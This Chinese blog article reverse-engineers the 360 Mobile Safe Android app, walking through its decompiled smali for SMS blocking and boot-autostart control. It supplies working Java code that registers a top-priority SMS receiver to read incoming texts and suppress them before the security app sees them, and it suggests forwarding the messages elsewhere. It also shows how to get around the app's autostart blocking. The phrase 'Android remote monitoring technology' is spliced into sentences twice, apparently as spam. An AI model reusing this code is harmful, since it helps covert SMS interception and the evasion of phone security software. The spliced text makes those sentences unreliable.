360作为国内专业的安全公司,在安全界的水平是有目共睹的,我们抛开它在经营与病毒防治上的一些极端措施,就其产品技术性而言,是广大安全爱好者应该学习的。今天我与大家探讨下在Android平台上360手机卫士这款产品其本身的安全性,并将自己研究时的一点小成果拿出来与大家分享。Android手持设备的私密性注定了这是一个敏感话题,在开始本文前,我郑重声明:本文的宗旨是让大家看到Android平台的可能的攻击方式,仅供技术学习交流,任何个人与组织不得用文中提到的技术手段对其它人或组织进行非法攻击,由此带来的一切法律责任本人概不负责。
测试环境
360手机卫士不支持在模拟器上使用,我使用ROOT过的(本文所有研究测试条件建立在手机已获得ROOT权限的情况下)国行MOTOXT615进行安装测试,而360的版本选择了最新的“360手机卫士贺岁版2.5.1”,APK的反编译工具由于方便而选择了ApkTool_GUI,Smali代码的查看与分析选择了Editplus(IDAPRO6.1也可以,只是对包名的显示不太友好,自己写插件的话也行,不过不在讨论范围),另外ApkTool_GUI有个dex2jar功能,也可以做辅助分析(只是生成的代码不是很准确,对于synthetic类型的方法不生成代码)。编写与调试代码用到了Eclipse,调试信息的查看与XML文件的导出用到了DDMS。准备好调试环境后,正确安装360手机卫士,开始360保护功能的艰苦分析之旅吧!
短信拦截
360手机卫士第一个强大的功能就是垃圾短信与电话的拦截,它的实现方式主要通过创建广播对信息与电话进行拦截,然后将其阻断。
打开“AndroidManifest.xml”文件,会发现里面有一个名为“com.qihoo360.mobilesafeguard”的provider,然后是N多的service与receiver,短信的拦截就用到了下面这个receiver:
receiverandroid:name=.mms.receiver.MmsReceiver intent-filterandroid:priority=2147483647 action android:name=android.provider.Telephony.WAP_PUSH_RECEIVED/ dataandroid:mimeType=application/vnd.wap.mms-message/ /intent-filter intent-filterandroid:priority=2147483647 action android:name=android.provider.Telephony.WAP_PUSH_RECEIVED/ dataandroid:mimeType=application/vnd.wap.sic/ /intent-filter intent-filterandroid:priority=2147483647 action android:name=android.provider.Telephony.WAP_PUSH_RECEIVED/ dataandroid:mimeType=application/vnd.wap.slc/ /intent-filter /receiver
Android的广播有无序广播与有序广播两种,静态注册的广播属于有序广播,通过设置“priority”来设置广播优先级。系统默认设置范围是-1000~1000之间,但SDK中可能没有明确的数值限定,可以看到360将priority设置为了2147483647,也就是32位有符号数的最大值。也就是试图设置最高响应优先级。Android系统会首先响应优先级高的广播,然后响应优先级低的,另外动态注册的广播又比静态注册的广播优先级高,如果优先级相同就响应最早安装的程序,而优先级是“adbinstall”高于“adbpush后安装”方式。
运行360手机卫士,可以看到它启动了一个进程与五个服务,服务名分别为“NetTraficService”、“safeGuardMmsService”、“PowerCtlService”、“SafeManageService”、“SafeGuardCallService”,在“safeGuardMmsService”的onCreate()方法中又创建了级别最高的动态广播接收者。具体分析代码我下面会讲到(360所有服务位于“smali\com\qihoo360\mobilesafe\service”文件夹下,所有的广播接收者位于“smali\com\qihoo360\mobilesafe\receiver”文件夹下),手动杀掉360进程根本不影响短信的拦截,下面说下过掉360短信拦截的两种思路:
1.360短信拦截借助了自己优先响应广播的优势获取信息后就中断了广播,我们要做的是在它之前先响应广播,而且360在静态广播中创建了服务,并再次动态创建了同类型的广播接收者,所以优先级很高,要过掉它我们就必须在它的前面注册广播接收者,或者干掉它所有的进程与服务不让它运行。显然后者动作太过于明显,不太适合。
2.将APK编译成系统程序,如:加入系统进程、使用Framework的签名文件进行签名等等。这样可能会优先接收到广播。不过由于时间原因,未测试此方法是否可行。上面第一种思路是分析所得的结果,思路如下,首先,要知道360是何时注册的广播接收者,打开“smali\com\qihoo360\mobilesafe\receiver\MessageReceiver.smali”文件,它就是短信接收者,直接看“onReceive(Landroid/content/Context;Landroid/content/Intent;)V”代码如下:
.methodpubliconReceive(Landroid/content/Context;Landroid/content/Intent;)V .locals5 const/4v4,0x0 sget-boolean v0, Lcom/qihoo360/mobilesafe/service/MobileSafeService;-c:Z if-eqzv0,:cond_0 sget-booleanv0,Lcp;-f:Z if-eqzv0,:cond_1 :cond_0 :goto_0#MobileSafeService-c与cp-f条件判断 return-void :cond_1 const-classv0,Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService; #☻获取SafeGuardMmsService类--v0=SafeGuardMmsService.class☻ invoke-virtual {p2, p1, v0}, Landroid/content/Intent;-setClass(Landroid/content/Context;Ljava/lang/Class;)L android/content/Intent; #☻p2为第二个参数, SafeGuardMmsService.class);☻ --p2.setClass(参数1, invoke-static{},Lawv;-a()I move-resultv0 const-stringv1,MessageReceiver new-instancev2,Ljava/lang/StringBuilder; invoke-direct{v2},Ljava/lang/StringBuilder;-init()V const-stringv3,onReceive::SDKVer= invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;-append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-objectv2 invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;-append(I)Ljava/lang/StringBuilder; move-result-objectv2 invoke-virtual {v2}, Ljava/lang/StringBuilder;-toString()Ljava/lang/String; move-result-objectv2 invoke-static{v1,v2},Lals;-b(Ljava/lang/String;Ljava/lang/String;)V #调用als-b(),猜测为打log const/4v1,0x4 if-lev0,v1,:cond_2#判断SDK版本是否大于4 :try_start_0 const-classv1,Landroid/content/BroadcastReceiver; const-stringv2,isOrderedBroadcast#是否为有序广播 const/4v0,0x0 check-castv0,[Ljava/lang/Class; invoke-virtual {v1, v2, v0}, Ljava/lang/Class;-getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava /lang/reflect/Method; #获取方法,用来判断是否为有序广播 move-result-objectv1 const/4v0,0x0 check-castv0,[Ljava/lang/Object;#0类型转换为Object invoke-virtual {v1, p0, v0}, Ljava/lang/reflect/Method;-invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/ lang/Object;#调用判断方法 move-result-objectv0 check-castv0,Ljava/lang/Boolean; invoke-virtual{v0},Ljava/lang/Boolean;-booleanValue()Z#结果转换为 Boolean值 :try_end_0 .catchLjava/lang/Exception;{:try_start_0..:try_end_0}:catch_0 move-resultv0 :goto_1 if-eqzv0,:cond_3#如果为0就跳走(开启保护),为有序广播就继续处理 invoke-direct {p0, p1, p2}, Lcom/qihoo360/mobilesafe/receiver/MessageReceiver;-a(Landroid/content/Context; Landroid/content/Intent;)V #☻调用a()方法☻ :goto_2 invoke-static{p1},Lcp;-c(Landroid/content/Context;)V goto:goto_0#返回 :catch_0#catch处理 move-exceptionv0 const-stringv1,MessageReceiver new-instancev2,Ljava/lang/StringBuilder; invoke-direct{v2},Ljava/lang/StringBuilder;-init()V const-stringv3,invokeerror#生成错误提示字符串 invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;-append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-objectv2 invoke-virtual{v0},Ljava/lang/Exception;-toString()Ljava/lang/String; move-result-objectv0 invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;-append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-objectv0 invoke-virtual {v0}, Ljava/lang/StringBuilder;-toString()Ljava/lang/String; move-result-objectv0 invoke-static{v1,v0},Lals;-b(Ljava/lang/String;Ljava/lang/String;)V #这里打log显示 movev0,v4 goto:goto_1 :cond_2 movev0,v4 goto:goto_1 :cond_3 invoke-virtual {p1, p2}, Landroid/content/Context;-startService(Landroid/content/Intent;)Landroid/conte nt/ComponentName; #☻启用了SafeGuardMmsService服务(开启舒肤佳短信服务*^_^*)☻ goto:goto_2 .endmethod
在onReceive()收到广播后,对消息进行判断,对是否为有序广播执行了a()与开启舒肤佳服务的两个分支,a()方法是很典型的消息处理代码,收到消息后对广播进行了中断,由于代码过长,我就不帖出来了,大家可以自己打开Small看看,另一个是SafeGuardMmsService了,它的onCreate()代码如下:
.methodpubliconCreate()V .locals4 invoke-super {p0}, Lcom/qihoo360/mobilesafe/service/MobileSafeService;-onCreate()V const-stringv0,SafeGuardMmsService const-stringv1,onCreate invoke-static{v0,v1},Lals;-b(Ljava/lang/String;Ljava/lang/String;)V #这里打LOG new-instancev0,Lhl; invoke-direct {v0, p0}, v0, Lhl;-init(Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService;)V sput-object Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService;-d:Landroid/database/Cont entObserver; invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService;-getContentResolver()Land roid/content/ContentResolver; #getContentResolver()获取ContentResolver move-result-objectv0 sget-object v1, v3, Landroid/provider/Telephony$Sms;-CONTENT_URI:Landroid/net/Uri; const/4v2,0x1#获取短信的CONTENT_URI,后面对它进行监视 sget-object Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService;-d:Landroid/database/Cont entObserver; invoke-virtual {v0, v1, v2, v3}, Landroid/content/ContentResolver;-registerContentObserver(Landroid/net/Uri;ZLa ndroid/database/ContentObserver;)V 行监听 #注册短信数据库监视器对短信数据库变化进 const/4v0,0x0 sput-booleanv0,Lac;-a:Z new-instancev0,Landroid/content/IntentFilter; const-stringv1,android.provider.Telephony.SMS_RECEIVED#这个太熟悉了,用来注册短信广播接收者 invoke-direct {v0, v1}, Landroid/content/IntentFilter;-init(Ljava/lang/String;)V constv1,0x7fffffff invoke-virtual{v0,v1},Landroid/content/IntentFilter;-setPriority(I)V #设置最高的优先级 new-instancev1,Lcom/qihoo360/mobilesafe/receiver/MessageReceiver; invoke-direct {v1}, Lcom/qihoo360/mobilesafe/receiver/MessageReceiver;-init()V sput-object v1, Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService;-h:Lcom/qihoo360/mobilesa fe/receiver/MessageReceiver; sget-object v1, Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService;-h:Lcom/qihoo360/mobilesa fe/receiver/MessageReceiver; invoke-virtual {p0, v1, v0}, Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService;-registerReceiver(Landroi d/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Int ent;#☻动态注册短信广播接收者☻ return-void .endmethod
看看,有没有?有没有?在静态广播中创建一个服务,在服务中又动态创建一个广播,真可谓是用心良苦啊!那这个MessageReceiver何时收到?服务何时启动呢?我没有再深入了,不过它不是在开机启动广播中启动的,这为我们下一步的成功照亮了方向啊,下面是证据:
打开“BootActionReceiver.smali”文件,看它的onReceive()方法:
.methodpubliconReceive(Landroid/content/Context;Landroid/content/Intent;)V .locals2 invoke-static{},Landroid/os/SystemClock;-uptimeMillis()J move-result-widev0 sput-wide v0, Lcom/qihoo360/mobilesafe/ui/index/MobileSafeApplication;-d:J invoke-static{},Ljava/lang/System;-currentTimeMillis()J#上面只保存 了几个时间值,体检时用的 move-result-widev0 sput-wide v0, Lcom/qihoo360/mobilesafe/ui/index/MobileSafeApplication;-c:J invoke-static{p1},Lom;-a(Landroid/content/Context;)V#这里调用了 om-a()方法 return-void .endmethod 对om-a()方法继续跟踪:(找到om.smali文件打开之) .methodpublicstatica(Landroid/content/Context;)V .locals3 const/4v2,0x1 new-instancev0,Lafc; invoke-direct{v0,p0},Lafc;-init(Landroid/content/Context;)V invoke-virtual{v0},Lafc;-i()Z move-resultv0 if-eqzv0,:cond_0 new-instancev0,Landroid/content/Intent; const-class v1, Lcom/qihoo360/mobilesafe/protection/PhoneProtectionLockWindow; invoke-direct {v0, p0, v1}, Landroid/content/Intent;-init(Landroid/content/Context;Ljava/lang/Class;)V const-stringv1,PROTECTION_LOCK invoke-virtual {v0, v1, v2}, Landroid/content/Intent;-putExtra(Ljava/lang/String;Z)Landroid/content/Intent; invoke-virtual {p0, v0}, Landroid/content/Context;-startService(Landroid/content/Intent;)Landroid/conte nt/ComponentName; #这里启动了PROTECTION_LOCK,不管了 :cond_0 sget-booleanv0,Lom;-d:Z if-nezv0,:cond_1 sput-booleanv2,Lom;-d:Z new-instancev0,Laam; const-stringv1,SimCheckService invoke-virtual {p0}, Landroid/content/Context;-getApplicationContext()Landroid/content/Context; move-result-objectv2 invoke-direct {v0, v1, v2}, Laam;-init(Ljava/lang/String;Landroid/content/Context;)V sput-objectv0,Lom;-e:Laam; sget-objectv0,Lom;-e:Laam; invoke-virtual{v0},Laam;-start()V#这里启动了SimCheckService,不管 了 :cond_1 return-void .endmethod
可以看到,在开机广播中,360手机卫士没有直接动态的注册短信广播接收者,我们可以在启动自己程序时动态安装个权限最高的短信广播,这样就会优先于360收到短信了。下面开始写测试程序,看看我开机广播的代码:
publicclassBootCompletedReceiverextendsBroadcastReceiver{ @Override publicvoidonReceive(Contextcontext,Intentintent) { Log.i(Test360,系统启动完毕...); Test360Activity.StartActivity(context); Intentservice=newIntent(context,Test360Service.class); context.startService(service);//在开机后启动一个服务 } }
我如法炮制,在接收到开机广播的时候启动了一个服务,服务的OnCreate()代码如下:
@Override publicvoidonCreate(){ Log.i(TAG,onCreate); IntentFilter localIntentFilter = new IntentFilter(android.provider.Telephony.SMS_RECEIVED); localIntentFilter.setPriority(2147483647); MmsReceiverreceiver=newMmsReceiver(); registerReceiver(receiver,localIntentFilter);//动态创建一个优先级最高的短信广播接收者 IntentFilter localIntentFilter2 = new IntentFilter(android.provider.Telephony.SMS_RECEIVED); localIntentFilter2.setPriority(2147483647); ShutdownReceiverreceiver2=newShutdownReceiver(); registerReceiver(receiver2,localIntentFilter2);//动态创建一个关机广播接收者 super.onCreate(); }
我动态创建了一个优先级为2147483647的短信广播接收者,收到短信后我只是简单的启动了程序的主Activity并Toast显示出短信(当然,你也可以自己处理它,如发送出去,或直接屏蔽掉,具体代码留给读者自己来实现),代码如下:
publicclassMmsReceiverextendsBroadcastReceiver{ StringreceiveMsg=; @Override publicvoidonReceive(Contextcontext,Intentintent) { //TODOAuto-generatedmethodstub SmsMessage[]Msg=null; if(intent.getAction().equals(android.provider.Telephony.SMS_RECEIVED)){ Test360Activity.StartActivity(context); Log.i(Test360,收到短信广播...); Bundlebundle=intent.getExtras(); if(bundle!=null){ Object[]pdusObj=(Object[])bundle.get(pdus); Msg=newSmsMessage[pdusObj.length]; for(inti=0;ipdusObj.length;i++){ Msg[i]=SmsMessage.createFromPdu((byte[])pdusObj[i]); } for(inti=0;iMsg.length;i++){ StringMsgTxt=Msg[i].getOriginatingAddress() +:+Msg[i].getMessageBody();//短信发件人与文本 Toast.makeText(context,MsgTxt,Toast.LENGTH_LONG).show(); //Toast显示短信 } abortBroadcast();//中断广播 } } } }
代码写好了,我重启手机,发送两条查询指令给10010,看看测试效果如图1:
测试程序优先收到了短信,而360,哑了......
开机启动
在Android手机拥有ROOT权限的时候,360开启了一个开机加速的功能,如图2所示:
点击上面任意一项或一键加速就可以取消该程序的开机自启动,这个功能立刻引起了我的好奇。学习过Android开发的可能都会知道,通过添加对“android.intent.action.BOOT_COMPLETED”处理的广播就可以实现开机启动时执行自己的一段代码,可是如何禁用开机启动大多数人都不知道,于是就有了想弄明白它的念头。首先用ApkTool_GUI反编译360的APK主程序,会提示反编译错误,不用理会,可能是android远程监控技术360有反编译手段,不过我们要分析的代码都已经成功的反编译出来了。在反汇编的Smali文件夹中搜索“android.intent.action.BOOT_COMPLETED”,我们可以很快发现“AutoRunManager.smali”与“ExamMain.smali”两个文件中有结果,我们通过文件名果断的判断第一个文件是我们要分析的重点,它位于“smali\com\qihoo360\mobilesafe\opti\autorun”文件夹。打开“AutoRunManager.smali”文件,我们发现“AutoRunManager”类是继承自“android/app/Activity”。搜索“android.intent.action.BOOT_COMPLETED”,发现在.“methodprivatea(ZZ)”、“methodprivatee()V”、“methodpubliconCreate(Landroid/os/Bundle;)V”三处发现有调用。先到onCreate()方法中看看,代码被Proguard过,很难阅读,不过我们可以简单的判断它只是进行了初始化,然后启动一个AsyncTask。关键代码不在这里,限于篇幅就不列出来了。
那怎么找关键点呢?我们看看上面显示的图,知道点击一键加速按钮与任意一栏的List后会执行加速动作,我们仔细观察会发现在“onCreate(Landroid/os/Bundle;)V”方法的下面有个publiconItemClick()方法,代码如下:
.method public onItemClick(Landroid/widget/AdapterView;Landroid/view/View;IJ)V .locals3 const/4v1,0x0 invoke-virtual{p1},Landroid/widget/AdapterView;-getId()I#获取ID move-resultv0 packed-switchv0,:pswitch_data_0#Switch语句调用 :cond_0 :goto_0 :pswitch_0#分支0 return-void :pswitch_1#分支1 iputv1,p0,Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-x:I iget-boolean v0, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-p:Z if-nezv0,:cond_1#☻通过p是否为真来进行相应的操作☻后面分析发现是启用还是禁止的Boolean值 invoke-direct {p0}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-f()V#刷新显示 goto:goto_0 :cond_1 iget-object v0, p0, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-u:Lank; if-eqzv0,:cond_2 iget-object v0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-u:Lank; iget-booleanv0,v0,Lank;-b:Z if-eqzv0,:cond_2#u与u-b不能为空 if-ltzp3,:cond_0 iget-object v0, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-K:Ljava/util/List; invoke-interface{v0},Ljava/util/List;-size()I#获取List的大小 move-resultv0 if-gep3,v0,:cond_0 iget-object v0, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-c:Landroid/widget/ListVi ew; invoke-virtual {v0, p3}, Landroid/widget/ListView;-getItemAtPosition(I)Ljava/lang/Object; move-result-objectv0#获取选中项 check-castv0,Lads; iput-object v0, p0, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-C:Lads;#保存到C中 iput-boolean v1, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-D:Z iget-booleanv1,v0,Lads;-e:Z if-eqzv1,:cond_0 :try_start_0 const-stringv1, constv2,0x7f0b0481 invoke-virtual {p0, v2}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-getText(I)Ljava/lang/Cha rSequence; move-result-objectv2#获取进度对话框显示的字符串 invoke-static {p0, v1, v2}, Landroid/app/ProgressDialog;-show(Landroid/content/Context;Ljava/lang/CharSequ ence;Ljava/lang/CharSequence;)Landroid/app/ProgressDialog;#显示进度对话框 move-result-objectv1 iput-object v1, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-w:Landroid/app/ProgressD ialog; :try_end_0 .catchLjava/lang/Exception;{:try_start_0..:try_end_0}:catch_1 :goto_1 iget-objectv1,v0,Lads;-b:Ljava/util/ArrayList; invoke-virtual{v1},Ljava/util/ArrayList;-size()I move-resultv1 iputv1,p0,Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-E:I#保存列表项数 iget-objectv0,v0,Lads;-b:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;-iterator()Ljava/util/Iterator;#获取List迭代器 move-result-objectv1 :goto_2#开始循环处理 invoke-interface{v1},Ljava/util/Iterator;-hasNext()Z#是否处理完 move-resultv0 if-eqzv0,:cond_0 invoke-interface{v1},Ljava/util/Iterator;-next()Ljava/lang/Object; move-result-objectv0 check-castv0,Laqo; iget-objectv0,v0,Laqo;-b:Ljava/lang/String;#获取要处理的字符串,分析为APK包名 invoke-direct {p0, v0}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-b(Ljava/lang/String;)V goto:goto_2#☻调用b(Ljava/lang/String;)V后继续循环☻ :cond_2 invoke-direct {p0}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-f()V#f()刷新显示 goto:goto_0#方法返回 :pswitch_2#分支2 iputv1,p0,Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-x:I iget-object v0, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-u:Lank; if-eqzv0,:cond_3 iget-object v0, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-u:Lank; iget-booleanv0,v0,Lank;-b:Z if-eqzv0,:cond_3 if-ltzp3,:cond_0 iget-object v0, p0, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-L:Ljava/util/List; invoke-interface{v0},Ljava/util/List;-size()I move-resultv0 if-gep3,v0,:cond_0 iget-object v0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-d:Landroid/widget/ListVi ew; invoke-virtual {v0, p3}, Landroid/widget/ListView;-getItemAtPosition(I)Ljava/lang/Object; move-result-objectv0 check-castv0,Lads; iput-object v0, p0, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-C:Lads; const/4v1,0x1 iput-boolean v1, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-D:Z iget-booleanv1,v0,Lads;-e:Z if-nezv1,:cond_0 :try_start_1 const-stringv1, constv2,0x7f0b0482 invoke-virtual {p0, v2}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-getText(I)Ljava/lang/Cha rSequence; move-result-objectv2 invoke-static {p0, v1, v2}, Landroid/app/ProgressDialog;-show(Landroid/content/Context;Ljava/lang/CharSequ ence;Ljava/lang/CharSequence;)Landroid/app/ProgressDialog;#获取显示的字符串 move-result-objectv1 iput-object v1, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-w:Landroid/app/ProgressD ialog;#显示进度对话框 :try_end_1 .catchLjava/lang/Exception;{:try_start_1..:try_end_1}:catch_0 :goto_3 iget-objectv1,v0,Lads;-b:Ljava/util/ArrayList; invoke-virtual{v1},Ljava/util/ArrayList;-size()I#需要处理的条数 move-resultv1 iputv1,p0,Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-E:I iget-objectv0,v0,Lads;-b:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;-iterator()Ljava/util/Iterator;#List处理迭代器 move-result-objectv1 :goto_4#循环处理开始 invoke-interface{v1},Ljava/util/Iterator;-hasNext()Z#是否处理完 move-resultv0 if-eqzv0,:cond_0 invoke-interface{v1},Ljava/util/Iterator;-next()Ljava/lang/Object; move-result-objectv0 check-castv0,Laqo; iget-objectv0,v0,Laqo;-b:Ljava/lang/String; invoke-direct {p0, v0}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-a(Ljava/lang/String;)V goto:goto_4#☻调用a(Ljava/lang/String;)V后跳走☻ :cond_3 invoke-direct {p0}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-f()V#f()V方法刷新显示 goto/16:goto_0 :catch_0 move-exceptionv1 goto:goto_3 :catch_1 move-exceptionv1 goto/16:goto_1 :pswitch_data_0 .packed-switch0x7f0a0032#3个分支 :pswitch_1 :pswitch_0 :pswitch_2 .endpacked-switch .endmethod 这个“onItemClick(Landroid/widget/AdapterView;Landroid/view/View;IJ)V”
是列表点击事件的完整处理代码,虽然被混淆过,仔细的分析还是能看出代码通过三个Switch分支对不同的状况进行了处理,为0直接返回,而1与2的情况整体上差不多,只是在迭代处理的时候分别调用了“b(Ljava/lang/String;)V”与“a(Ljava/lang/String;)V”方法,看看“b(Ljava/lang/String;)V”的代码:
.methodprivateb(Ljava/lang/String;)V .locals1 const-stringv0,disable invoke-direct {p0, v0, p1}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-a(Ljava/lang/String;Ljav a/lang/String;)V return-void .endmethod只是传递了“disable”字符串然后调用了“a(Ljava/lang/String;Ljava/lang/String;)V”方法,代码如下: .methodprivatea(Ljava/lang/String;Ljava/lang/String;)V .locals3 new-instancev0,Ljava/lang/StringBuffer; const-stringv1,pm invoke-direct {v0, v1}, v1}, Ljava/lang/StringBuffer;-init(Ljava/lang/String;)V#pm const-stringv1, invoke-virtual {v0, Ljava/lang/StringBuffer;-append(Ljava/lang/String;)Ljava/lang/StringBuffer; #pm注意:后面加了空格 invoke-virtual {v0, p1}, Ljava/lang/StringBuffer;-append(Ljava/lang/String;)Ljava/lang/StringBuffer; #pm参数1 const-stringv1, invoke-virtual {v0, v1}, Ljava/lang/StringBuffer;-append(Ljava/lang/String;)Ljava/lang/StringBuffer; #pm参数1注意:后面加了空格 const-stringv1,$ const-stringv2,\\$ invoke-virtual {p2, v1, v2}, Ljava/lang/String;-replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Lj ava/lang/String; move-result-objectv1#在参数2前面添加“\\” invoke-virtual {v0, v1}, Ljava/lang/StringBuffer;-append(Ljava/lang/String;)Ljava/lang/StringBuffer; #pm参数1\\参数2 iget-object v1, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-u:Lank; #这个u怀疑为进程 invoke-virtual {v0}, Ljava/lang/StringBuffer;-toString()Ljava/lang/String;#将组合后的Buffer转换为字串 move-result-objectv0 invoke-virtual{v1,v0},Lank;-a(Ljava/lang/String;)V#执行组合好的字符串 return-void .endmethod 这段代码功能就是执行“pmdisableXXX”,我们再看看“a(Ljava/lang/String;)V”的代码: .methodprivatea(Ljava/lang/String;)V .locals1 const-stringv0,enable invoke-direct {p0, v0, p1}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;-a(Ljava/lang/String;Ljav a/lang/String;)V return-void .endmethod
哈哈!很清楚很明了吧,执行的是“pmenableXXX”。后来我发现pm是Android中自带的一个包管理器,新建一个“adbshell”后,输入pm命令返回如图3所示:
意思是传入“package/class”就可以启用或禁止一个包的类名了,到这里360的禁止开机启动的方法真相大白了。我们可以在自己创建的服务代码里面加上“pmenableXXX”来启动自己,但是在实际测试过程中,我们的程序开机还是没有开机启动,很显然,360这android远程监控技术个“pmdisableXXX”在我们的程序启动前执行了一次,这真是让人头大啊,怎么办?我关掉了360的进程与服务,等一会儿,手机锁屏了,我解锁后神奇的发现360又复活了!!!查看360的“AndroidManifest.xml”文件发现它还有个锁屏广播,在解锁后又启动了360手机卫士,在初始化时就执行了“pmdisableXXX”(这里的XXX为要禁用的APK软件包与类名,360自己维持黑白名单的),锁屏广播代码就不帖了,我想了想绕过的方法,难道只能自己动手改写360的黑白名单,我又再弄下去了,而是如潮炮制的自己动手整了个锁屏的广播接收者,把自己要的功能代码加进去而以,等有时间我会继续深入下去的。
隐私空间
想当年,《手机》这部电影带来的影响可是闹腾了多少男人的心啊,女孩们都学会了翻自己男朋友的手机...偷看短信、查通话记录。然后吵架、打架、分手......跟电影上演的可真是一样一样的。给自己通讯记录加密也成为了很多男士的梦想,现如今Android平台手机的用户可真有了福音,因为最新的360手机卫士就带了“隐私空间”这个功能(呵呵,涉嫌帮360做广告),如图4所示:
首次进入“隐私空间”需要设置访问密码,以后访问“隐私空间”就需要输入密码来授权访问了,在“隐私空间”中,可以设置保密的联系人,与保密联系人之间的短信与通话记录就会被加密起来。这个功能真是太好了......“隐私空间”真如名字说的那样隐私么?带着好奇心,我开始了分析:打开“输入密码”这个界面,随便输入错误的密码,程序提示“密码错误,请重试”。在反汇编出的360Smali文件夹中搜索错误提示,无果,说明提示信息可能进行了加密。我们换换思路,点击界面上的忘记密码,会弹出一个提示,如果先前有设置密码找回Email的话会提示发送新密码到设置的邮箱,如图5所示:
我们可否从这个Email入手呢?在文件夹中搜索“email”,“PrivateSetupPreference.smali”文件映入眼帘,它位于“smali\com\qihoo360\mobilesafe\ui\privatespace”,看文件名猜想应该是“隐私空间”设置页面,用Editplus打开之,点击“View”-“CodeFolding”-“CollapseAll”将所有的方法收拢,看看有哪些方法。首先看到了“onCreate(Landroid/os/Bundle;)V”,我们看看代码:
.methodprotectedonCreate(Landroid/os/Bundle;)V .locals3 invoke-super {p0, p1}, Landroid/preference/PreferenceActivity;-onCreate(Landroid/os/Bundle;)V const-stringv0,PrivateSetupPreference const-stringv1,onCreate invoke-static{v0,v1},Lals;-b(Ljava/lang/String;Ljava/lang/String;)V #调用als-b() invoke-static{},Lauj;-b()Z#auj-b(),搜索后发现只有一句“sget-boolean v0,Lauj;-e:Z”,作用不明了... move-resultv0 if-nezv0,:cond_1 invoke-static{p0},Lauj;-a(Landroid/app/Activity;)V #查看auj.smali文件发现是生成一个DialogFactory并显示,此处就不展开了,后面会有说到 :cond_0 :goto_0 return-void :cond_1 constv0,0x7f030098 invoke-virtual {p0, v0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-setContentVie w(I)V#设置View invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-getListView() Landroid/widget/ListView; move-result-objectv0 invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-getResources( )Landroid/content/res/Resources; move-result-objectv1#获取资源 constv2,0x106000d invoke-virtual{v1,v2},Landroid/content/res/Resources;-getColor(I)I #获取颜色值 move-resultv1 invoke-virtual {v0, v1}, Landroid/widget/ListView;-setCacheColorHint(I)V#setCacheColorHint() invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-getResources( )Landroid/content/res/Resources; move-result-objectv1 constv2,0x7f020083 invoke-virtual {v1, v2}, Landroid/content/res/Resources;-getDrawable(I)Landroid/graphics/drawable/Drawa ble; move-result-objectv1 invoke-virtual {v0, v1}, Landroid/widget/ListView;-setDivider(Landroid/graphics/drawable/Drawable;)V constv0,0x7f050003#setDivider() invoke-virtual {p0, v0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-addPreference sFromResource(I)V const-stringv0,private_auto_sms_content invoke-direct {p0, v0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-a(Ljava/lang/ String;)Landroid/preference/ListPreference; move-result-objectv0 iput-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-f:Landroid/pr eference/ListPreference; iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-f:Landroid/pr eference/ListPreference; 